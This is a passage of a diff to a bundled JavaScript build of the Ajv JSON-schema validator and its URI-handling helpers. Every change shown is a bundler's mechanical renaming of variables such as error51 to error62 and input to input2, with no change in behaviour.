reportExtraError(cxt, error62 = exports.keywordError, errorPaths) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); addError(gen, errObj); if (!(compositeRule || allErrors)) { returnErrors(it, names_1.default.vErrors); @@ -26562,19 +26562,19 @@ var require_errors3 = __commonJS({ schema: new codegen_1.Name("schema"), parentSchema: new codegen_1.Name("parentSchema") }; - function errorObjectCode(cxt, error51, errorPaths) { + function errorObjectCode(cxt, error62, errorPaths) { const { createErrors } = cxt.it; if (createErrors === false) return (0, codegen_1._)`{}`; - return errorObject(cxt, error51, errorPaths); + return errorObject(cxt, error62, errorPaths); } - function errorObject(cxt, error51, errorPaths = {}) { + function errorObject(cxt, error62, errorPaths = {}) { const { gen, it } = cxt; const keyValues = [ errorInstancePath(it, errorPaths), errorSchemaPath(cxt, errorPaths) ]; - extraErrorProps(cxt, error51, keyValues); + extraErrorProps(cxt, error62, keyValues); return gen.object(...keyValues); } function errorInstancePath({ errorPath }, { instancePath }) { @@ -27094,8 +27094,8 @@ var require_keyword = __commonJS({ var _a3; const { gen, keyword, schema, parentSchema, $data, it } = cxt; checkAsyncKeyword(it, def); - const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; - const validateRef = useKeyword(gen, keyword, validate); + const validate2 = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate2); const valid = gen.let("valid"); cxt.block$data(valid, validateKeyword); cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); @@ -27106,13 +27106,13 @@ var require_keyword = __commonJS({ modifyData(cxt); reportErrs(() => cxt.error()); } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); + const ruleErrs = def.async ? validateAsync3() : validateSync(); if (def.modifying) modifyData(cxt); reportErrs(() => addErrs(cxt, ruleErrs)); } } - function validateAsync() { + function validateAsync3() { const ruleErrs = gen.let("ruleErrs", null); gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); return ruleErrs; @@ -27522,11 +27522,11 @@ var require_resolve = __commonJS({ } return ref; } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + function addAnchor(anchor2) { + if (typeof anchor2 == "string") { + if (!ANCHOR.test(anchor2)) + throw new Error(`invalid anchor "${anchor2}"`); + addRef.call(this, `#${anchor2}`); } } }); @@ -28168,28 +28168,28 @@ var require_compile = __commonJS({ if (this.opts.code.process) sourceCode = this.opts.code.process(sourceCode, sch); const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate }); - validate.errors = null; - validate.schema = sch.schema; - validate.schemaEnv = sch; + const validate2 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate2 }); + validate2.errors = null; + validate2.schema = sch.schema; + validate2.schemaEnv = sch; if (sch.$async) - validate.$async = true; + validate2.$async = true; if (this.opts.code.source === true) { - validate.source = { validateName, validateCode, scopeValues: gen._values }; + validate2.source = { validateName, validateCode, scopeValues: gen._values }; } if (this.opts.unevaluated) { const { props, items } = schemaCxt; - validate.evaluated = { + validate2.evaluated = { props: props instanceof codegen_1.Name ? void 0 : props, items: items instanceof codegen_1.Name ? void 0 : items, dynamicProps: props instanceof codegen_1.Name, dynamicItems: items instanceof codegen_1.Name }; - if (validate.source) - validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + if (validate2.source) + validate2.source.evaluated = (0, codegen_1.stringify)(validate2.evaluated); } - sch.validate = validate; + sch.validate = validate2; return sch; } catch (e) { delete sch.validate; @@ -28355,27 +28355,27 @@ var require_utils = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -28418,11 +28418,11 @@ var require_utils = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -28455,23 +28455,23 @@ var require_utils = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -28487,79 +28487,79 @@ var require_utils = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === "." || input[1] === "/") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === "." || input2[1] === "/") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -28569,80 +28569,80 @@ var require_utils = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -28651,130 +28651,130 @@ var require_utils = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } function isEscapeSafe(cp) { return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - output += escape(input[i]); + output2 += escape(input2[i]); } - return output; + return output2; } function recomposeAuthority(component) { const uriTokens = []; @@ -30239,7 +30239,7 @@ var require_limitNumber = __commonJS({ exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -30248,7 +30248,7 @@ var require_limitNumber = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); @@ -30264,7 +30264,7 @@ var require_multipleOf = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` }; @@ -30273,7 +30273,7 @@ var require_multipleOf = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, it } = cxt; const prec = it.opts.multipleOfPrecision; @@ -30320,7 +30320,7 @@ var require_limitLength = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var ucs2length_1 = require_ucs2length(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxLength" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; @@ -30332,7 +30332,7 @@ var require_limitLength = __commonJS({ type: "string", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode, it } = cxt; const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30352,7 +30352,7 @@ var require_pattern = __commonJS({ var code_1 = require_code2(); var util_1 = require_util(); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` }; @@ -30361,7 +30361,7 @@ var require_pattern = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; const u = it.opts.unicodeRegExp ? "u" : ""; @@ -30387,7 +30387,7 @@ var require_limitProperties = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxProperties" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; @@ -30399,7 +30399,7 @@ var require_limitProperties = __commonJS({ type: "object", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30418,7 +30418,7 @@ var require_required = __commonJS({ var code_1 = require_code2(); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` }; @@ -30427,7 +30427,7 @@ var require_required = __commonJS({ type: "object", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, schemaCode, data, $data, it } = cxt; const { opts } = it; @@ -30498,7 +30498,7 @@ var require_limitItems = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxItems" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; @@ -30510,7 +30510,7 @@ var require_limitItems = __commonJS({ type: "array", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30541,7 +30541,7 @@ var require_uniqueItems = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` }; @@ -30550,7 +30550,7 @@ var require_uniqueItems = __commonJS({ type: "array", schemaType: "boolean", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; if (!$data && !schema) @@ -30607,14 +30607,14 @@ var require_const = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to constant", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` }; var def = { keyword: "const", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schemaCode, schema } = cxt; if ($data || schema && typeof schema == "object") { @@ -30636,7 +30636,7 @@ var require_enum = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; @@ -30644,7 +30644,7 @@ var require_enum = __commonJS({ keyword: "enum", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; if (!$data && schema.length === 0) @@ -30723,7 +30723,7 @@ var require_additionalItems = __commonJS({ exports.validateAdditionalItems = void 0; var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30732,7 +30732,7 @@ var require_additionalItems = __commonJS({ type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { parentSchema, it } = cxt; const { items } = parentSchema; @@ -30851,7 +30851,7 @@ var require_items2020 = __commonJS({ var util_1 = require_util(); var code_1 = require_code2(); var additionalItems_1 = require_additionalItems(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30860,7 +30860,7 @@ var require_items2020 = __commonJS({ type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { schema, parentSchema, it } = cxt; const { prefixItems } = parentSchema; @@ -30884,7 +30884,7 @@ var require_contains = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1.str)`must contain at least ${min} valid item(s)` : (0, codegen_1.str)`must contain at least ${min} and no more than ${max} valid item(s)`, params: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1._)`{minContains: ${min}}` : (0, codegen_1._)`{minContains: ${min}, maxContains: ${max}}` }; @@ -30894,7 +30894,7 @@ var require_contains = __commonJS({ schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, it } = cxt; let min; @@ -31072,7 +31072,7 @@ var require_propertyNames = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "property name must be valid", params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` }; @@ -31080,7 +31080,7 @@ var require_propertyNames = __commonJS({ keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], - error: error51, + error: error62, code(cxt) { const { gen, schema, data, it } = cxt; if ((0, util_1.alwaysValidSchema)(it, schema)) @@ -31117,7 +31117,7 @@ var require_additionalProperties = __commonJS({ var codegen_1 = require_codegen(); var names_1 = require_names(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must NOT have additional properties", params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` }; @@ -31127,7 +31127,7 @@ var require_additionalProperties = __commonJS({ schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, errsCount, it } = cxt; if (!errsCount) @@ -31401,7 +31401,7 @@ var require_oneOf = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must match exactly one schema in oneOf", params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` }; @@ -31409,7 +31409,7 @@ var require_oneOf = __commonJS({ keyword: "oneOf", schemaType: "array", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, it } = cxt; if (!Array.isArray(schema)) @@ -31486,7 +31486,7 @@ var require_if = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` }; @@ -31494,7 +31494,7 @@ var require_if = __commonJS({ keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, parentSchema, it } = cxt; if (parentSchema.then === void 0 && parentSchema.else === void 0) { @@ -31620,7 +31620,7 @@ var require_format2 = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; @@ -31629,7 +31629,7 @@ var require_format2 = __commonJS({ type: ["number", "string"], schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt, ruleType) { const { gen, data, $data, schema, schemaCode, it } = cxt; const { opts, errSchemaPath, schemaEnv, self: self2 } = it; @@ -31784,7 +31784,7 @@ var require_discriminator = __commonJS({ var compile_1 = require_compile(); var ref_error_1 = require_ref_error(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, params: ({ params: { discrError, tag: tag2, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag2}}` }; @@ -31792,7 +31792,7 @@ var require_discriminator = __commonJS({ keyword: "discriminator", type: "object", schemaType: "object", - error: error51, + error: error62, code(cxt) { const { gen, data, schema, parentSchema, it } = cxt; const { oneOf } = parentSchema; @@ -32291,7 +32291,7 @@ var require_type = __commonJS({ int32: [-2147483648, 2147483647, 10], uint32: [0, 4294967295, 10] }; - var error51 = { + var error62 = { message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) }; @@ -32308,7 +32308,7 @@ var require_type = __commonJS({ var def = { keyword: "type", schemaType: "string", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { data, schema, parentSchema, it } = cxt; @@ -32379,14 +32379,14 @@ var require_enum2 = __commonJS({ var 